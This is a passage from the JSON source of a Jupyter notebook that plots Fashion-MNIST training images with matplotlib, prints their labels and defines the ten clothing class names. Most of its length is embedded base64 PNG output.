ldJBEqdpFEqNhFEqFiF0mEil0kESp2kUSo2EUSUf8+e4Y51gdf+EIw9g9XbXS3/daB33Tjv7XkHTc+tyW8PPArw6vdbR87fb4bP/+iD934qZXL3HjPjQeDsV+7+21322MTnW58eNKf/zxmcVu4n/zOsP+4dl27wo0PX+7Pn/5n1/97MPaj/rXutjGFXHgpagBojzTqR+4IX7+Qz/nPl6FvXxiM2f9sC8aiZ3aSG0kOktw97bYuki+T3Ff+vCh2PyLSWLP5M/6HAG4567YHAWw1s8sAbC1/LyJNLFrsZvYqgONn3Xw7gE3lrzcBuKO6aYlItVX6Bt0yMzsKAOXPS0M/SHI9yT6SfRMI/98rIrVV83fjzWyDmfWaWW8bsr3ZIyKVq7TYB0guB4Dy58HqpSQitVBpsW8GsK789ToAL1QnHRGpFbrrRAMg+TSAGwAsATAA4JsA/hXAswBWADgI4CtmdvabeJ8yn112DW8KxnOL/A7eki3h8e4Hh/yxzW05f6z8VQv73bjXbx4v+Zcr7BzoduPdC/wx5WsWHnbjb58K92UPnPSP6Zw2v1/c2uKsSw/gxIg/nn1ee/h9mth9X9Xl/06OjfnXCOz5IHxcCpHHbeavvz5ejMx/MOmfR8fH2oKxP/+yf+586MXfCcaO/vXfYuzgoRmTj15UY2b3BELhqhWRpqPLZUUSoWIXSYSKXSQRKnaRRKjYRRLRVEs227g/ZHHwj1YGY2Pf9pfIXTX/mBvvbK38Ut6X+i9243Py/nDHAyf89ti+AX9K5fZC+P7nFvxjOj4ZWSY7It/qtzRPnmkPxjqdthwA7PjAH+Lamfcfm9fSPDHqtwwnS/55MNa662z3j8svXBweevzou7/ibnvps+Hn+vET4XamzuwiiVCxiyRCxS6SCBW7SCJU7CKJULGLJELFLpKIpuqzc3lwdisAwHt3zQ/G7jx/j7vtgtwZN94VWYP3v4YvD8ZGTvsz8MT67Ivm+rlNtPuvyafHImtCO+YV/F53bMrkY5MdbtwbxlqIDDueiPS6S5FhqF481qPP0R9+2x45LkMT/nPijeM94eCzS9xtYeFlsOGMWNeZXSQRKnaRRKjYRRKhYhdJhIpdJBEqdpFEqNhFEtFcffZhp38I4Ddu3h6MxaYVXhDpZbe3+L3w7vaPgrHRnvC0wAAwOukf5pEJv0++eI5/XBYUwuObY9M1FyO97JhYn34sF37ssem921v938nQuN/LHnOe3p15P+9YHz0fiS9r9fv4LQw3xG984KfutttuvSQY43g4L53ZRRKhYhdJhIpdJBEqdpFEqNhFEqFiF0mEil0kEU3VZx+69iI3/pOBecHYJQs+dLeNjU8emvTnEffGHy8q+H3w+Xl/TvuJkj93++lIH76jLdzTzbf4/eAW+vtu8QZIA+ie6y837Rkq+n3y2L7nRnrZRQs/tthxGSn6x/zkeHg+fCA+7/wc5xqC+W0L3W3t9OlwsJRh3niSG0kOktw97baHSfaT3Fn+uC12PyLSWLP5M/6HAG6Z4fbvmtma8seW6qYlItUWLXYzexXA8TrkIiI1lOUNuvtJvlX+Mz+4WBnJ9ST7SPZNoPL11EQkm0qL/TEAqwCsAXAUwHdCP2hmG8ys18x62+C/ISMitVNRsZvZgJlNmlkJwOMA1lY3LRGptoqKneTyad/eCWB36GdFpDlE++wknwZwA4AlJA8D+CaAG0iuwdQs1fsB3DubnRXP68Cx374uGF929wE/WWds9mWdg+62c1v8nuzQpN83HR4L/wsSm1s91g9ekPfH2ntjnwFgvBT+NZbMfz0fK/pPgUKr/9hOjPvXJ4xO+mP9PbHjlo+Mhy8Vw4891kfPt0TG2hf8sfaxeQQ8FxQ+cuPvn1kQjJnTZ48Wu5ndM8PNT8S2E5HmostlRRKhYhdJhIpdJBEqdpFEqNhFElHXIa6WA8YWhpfR3XK5P57myVPhpWwnzH8oV7YfcuOPD97gxpd1DgVjsRZRlqWFgXjrrZXhNlFs20Krv2/vvgG/7Qf4jy3WnhqPTMEdm2ram+45NhV01t9JltxPTMx1t7Ux57JzC+elM7tIIlTsIolQsYskQsUukggVu0giVOwiiVCxiySirn32/EdFrNj8QTD+/XXh6ZoBoLvtRDC2sMWfzvntsW433j8SHjYIAMvmhPvssSmPY1ojwykLkWmPxyK9bk9sCGys33wmwxDWmNhS162R6cFL8HP3eFM9A0BHqz/F2kcT/tDfNif3CWcK7CmVDZ/VmV0kESp2kUSo2EUSoWIXSYSKXSQRKnaRRKjYRRJR3/Hso2OY3LsvGN+8erG7/YFv/Xow9uBdz7nbPnu01413tvl9U2+J3/6Rhe62sX5wbDz86ehU0rG+bFgstzm5WL/Zz93rw7dFri9YUhh24zGnnSWhYz342LUPsWsbvD464E8/HuvRA/7vJERndpFEqNhFEqFiF0mEil0kESp2kUSo2EUSoWIXSURd++xZLXkr3Lvs+d0P3W1jc5THlujdPxS+BiAXue/5BX9J5mKkT94S6dnmM7xkx8aMR/vRkdw8E5HHPVT0l9H2rn0A/GsEYo/r1IS/79jvJHZ9gnf9wXsnw+sjAEAnTrnxkOjThGQPyVdI7iW5h+TXy7d3kXyZ5L7y50UVZSAidTGbc0IRwANmdgWAawHcR3I1gAcBbDWzywBsLX8vIk0qWuxmdtTM3ih/PQRgL4BuALcD2FT+sU0A7qhRjiJSBZ/pvz2SKwF8CcB2AMvM7Cgw9YIAYGlgm/Uk+0j2TcC//lxEamfWxU6yE8BzAL5hZrN+h8DMNphZr5n1tiE8MEFEamtWxU6yDVOF/pSZ/bh88wDJ5eX4cgCDtUlRRKoh2nojSQBPANhrZo9OC20GsA7AI+XPL8xqj3RaHs5yswAwt380GHtlaLW77cK8P9V0LjKMdIHTPiuW/NfM0ch0y7G2Xyw3b2rh2L5jU0XHWmsL2/y2YqEl3IIaK/m5xYaRxtpbnbnwv42xKbDnFPyhu7Elm/ecXO7GvanJK58A2zebPvv1AL4KYBfJneXbHsJUkT9L8msADgL4Sk0yFJGqiBa7mb2G8IvNTdVNR0RqRZfLiiRCxS6SCBW7SCJU7CKJULGLJOKcGuLKbW8GY68NrnK3vaDjpBsfiQy39PrVZ4p+z3Yy0of3phUGgI7INNdez3ekmK94WwBTw6AcI5HH7i0JXYwsFx3LLd/iT7m8KB++BiB2fcGFc8LLgwPAk33XufEr/tLffvejncHYZMnPrcONhunMLpIIFbtIIlTsIolQsYskQsUukggVu0giVOwiiah/n53O64v547o9/3LFU278Bye+7MYHx+e58V9esDcYa2dlS+h+rMUZjw4AC3P+WPwOhpvhsaWD2+D3sofMf4oMlfw+fhvDv9N2JwbEe+Ex3mOP5X11wd/3wZ/tcuM77rzSjd96wbbwtscucretlM7sIolQsYskQsUukggVu0giVOwiiVCxiyRCxS6SCFpkrvZqms8uu4a1mZB27Lar3fjJlf6469jL3mSGxWxaR/xj3Oq30REbcu61oyNTryOy6jFyE/7Oc+N+3G2lZ5wgnZOV7zu2bW7cvz6hJRIf6/KfbyPnhedPWPaf/e62xf0Hg7HtthWn7PiMR1ZndpFEqNhFEqFiF0mEil0kESp2kUSo2EUSoWIXScRs1mfvAfAkgPMxtRD4BjP7HsmHAfwhgA/KP/qQmW2pVaIxhS073PjSOuUhAgD+jPZ+PHLpQ8VmM3lFEcADZvYGyXkAXif5cjn2XTP7mxrlJiJVNJv12Y8COFr+eojkXgDdtU5MRKrrM/3PTnIlgC8B2F6+6X6Sb5HcSHJRYJv1JPtI9k3AX8ZIRGpn1sVOshPAcwC+YWanADwGYBWANZg6839npu3MbIOZ9ZpZbxsyXGAuIpnMqthJtmGq0J8ysx8DgJkNmNmkmZUAPA5gbe3SFJGsosVOkgCeALDXzB6ddvvyaT92J4Dd1U9PRKplNu/GXw/gqwB2kdxZvu0hAPeQXAPAAOwHcG8N8hORKpnNu/GvYeaRxw3rqYvIZ6cr6EQSoWIXSYSKXSQRKnaRRKjYRRKhYhdJhIpdJBEqdpFEqNhFEqFiF0mEil0kESp2kUSo2EUSoWIXSURdl2wm+QGAA9NuWgLgWN0S+GyaNbdmzQtQbpWqZm4Xmdl5MwXqWuyf2jnZZ2a9DUvA0ay5NWtegHKrVL1y05/xIolQsYskotHFvqHB+/c0a27Nmheg3CpVl9wa+j+7iNRPo8/sIlInKnaRRDSk2EneQvIdku+SfLAROYSQ3E9yF8mdJPsanMtGkoMkd0+7rYvkyyT3lT/PuMZeg3J7mGR/+djtJHlbg3LrIfkKyb0k95D8evn2hh47J6+6HLe6/89OMgfgpwB+FcBhADsA3GNmb9c1kQCS+wH0mlnDL8Ag+UsAhgE8aWY/V77trwAcN7NHyi+Ui8zsT5okt4cBDDd6Ge/yakXLpy8zDuAOAL+PBh47J6+7UIfj1ogz+1oA75rZ+2Y2DuAZALc3II+mZ2avAjh+1s23A9hU/noTpp4sdRfIrSmY2VEze6P89RCAj5cZb+ixc/Kqi0YUezeAQ9O+P4zmWu/dALxE8nWS6xudzAyWmdlRYOrJA2Bpg/M5W3QZ73o6a5nxpjl2lSx/nlUjin2mpaSaqf93vZn9PIBbAdxX/nNVZmdWy3jXywzLjDeFSpc/z6oRxX4YQM+07y8EcKQBeczIzI6UPw8CeB7NtxT1wMcr6JY/DzY4n//XTMt4z7TMOJrg2DVy+fNGFPsOAJeRvJhkHsDdADY3II9PIdlRfuMEJDsA3IzmW4p6M4B15a/XAXihgbl8QrMs4x1aZhwNPnYNX/7czOr+AeA2TL0j/x6AP21EDoG8LgHwZvljT6NzA/A0pv6sm8DUX0RfA7AYwFYA+8qfu5oot38CsAvAW5gqrOUNyu0XMfWv4VsAdpY/bmv0sXPyqstx0+WyIonQFXQiiVCxiyRCxS6SCBW7SCJU7CKJULGLJELFLpKI/wOXISKkL26AKQAAAABJRU5ErkJggg==\n", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "# Visualize data\n", - "import matplotlib.pyplot as plt\n", - "plt.imshow(train_data[99])\n", - "print(\"Label :\",train_label[99])" - ] - }, - { - "cell_type": "code", - "execution_count": 110, - "id": "f881e717", - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "Label : 9\n" - ] - }, - { - "data": { - "image/png": "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\n", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "plt.imshow(train_data[111])\n", - "print(\"Label :\",train_label[111])" - ] - }, - { - "cell_type": "code", - "execution_count": 111, - "id": "f278c911", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "10" - ] - }, - "execution_count": 111, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "class_names = ['T-shirt/top', 'Trouser', 'Pullover', 'Dress', 'Coat', \n", - " 'Sandal', 'Shirt', 'Sneaker', 'Bag', 'Ankle boot']\n", - "\n", - "len(class_names)" - ] - }, - { - "cell_type": "code", - "execution_count": 112, - "id": "d8eed568", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "Text(0.5, 1.0, 'T-shirt/top')" - ] - }, - "execution_count": 112, - "metadata": {}, - "output_type": "execute_result" - }, - { - "data": { - "image/png": "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